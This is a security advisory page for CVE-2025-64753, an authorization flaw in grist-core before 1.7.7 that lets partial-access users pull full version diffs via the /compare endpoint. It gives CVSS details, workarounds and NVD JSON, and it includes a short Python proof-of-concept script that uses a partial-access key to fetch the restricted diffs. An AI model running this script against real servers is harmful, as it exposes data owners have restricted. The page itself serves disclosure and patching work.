Security Vulnerability Report
中文
CVE-2025-64753 CVSS 5.3 MEDIUM

CVE-2025-64753

Published: 2025-11-13 22:15:53
Last Modified: 2025-11-20 21:11:26

Description

grist-core is a spreadsheet hosting server. Prior to version 1.7.7, a user with only partial read access to a document could still access endpoints listing hashes for versions of that document and receive a full list of changes between versions, even if those changes contained cells, columns, or tables to which the user was not supposed to have read access. This was fixed in version 1.7.7 by restricting the `/compare` endpoint to users with full read access. As a workaround, remove sensitive document history using the `/states/remove` endpoint. Another possibility is to block the `/compare` endpoint.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:getgrist:grist-core:*:*:*:*:*:*:*:* - VULNERABLE
grist-core < 1.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-64753 PoC - grist-core Unauthorized Information Disclosure # Target: grist-core < 1.7.7 # Vulnerability: /compare endpoint allows users with partial read access to # obtain full version history including unauthorized data BASE_URL = "http://target-grist-server.com" API_KEY = "user_partial_access_api_key" DOCUMENT_ID = "vulnerable_document_id" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Get document states (versions) states_url = f"{BASE_URL}/api/documents/{DOCUMENT_ID}/states" response = requests.get(states_url, headers=headers) states = response.json() # Step 2: Compare two versions (exploiting the vulnerability) # Even with partial access, we can get full diff including unauthorized data if len(states) >= 2: compare_url = f"{BASE_URL}/api/documents/{DOCUMENT_ID}/compare" payload = { "v1": states[-2]["stateId"], # Previous version "v2": states[-1]["stateId"] # Current version } response = requests.post(compare_url, json=payload, headers=headers) # This will return full changes even for cells/tables user can't access full_changes = response.json() print(f"Full changes leaked: {full_changes}") # Mitigation: Remove sensitive history # POST /api/documents/{DOCUMENT_ID}/states/remove

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64753", "sourceIdentifier": "[email protected]", "published": "2025-11-13T22:15:52.750", "lastModified": "2025-11-20T21:11:25.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "grist-core is a spreadsheet hosting server. Prior to version 1.7.7, a user with only partial read access to a document could still access endpoints listing hashes for versions of that document and receive a full list of changes between versions, even if those changes contained cells, columns, or tables to which the user was not supposed to have read access. This was fixed in version 1.7.7 by restricting the `/compare` endpoint to users with full read access. As a workaround, remove sensitive document history using the `/states/remove` endpoint. Another possibility is to block the `/compare` endpoint."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrist:grist-core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.7", "matchCriteriaId": "B4BAA1F5-E447-47A3-9824-ECA85B6B42B2"}]}]}], "references": [{"url": "https://github.com/gristlabs/grist-core/releases/tag/v1.7.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/gristlabs/grist-core/security/advisories/GHSA-3v78-cw58-v685", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}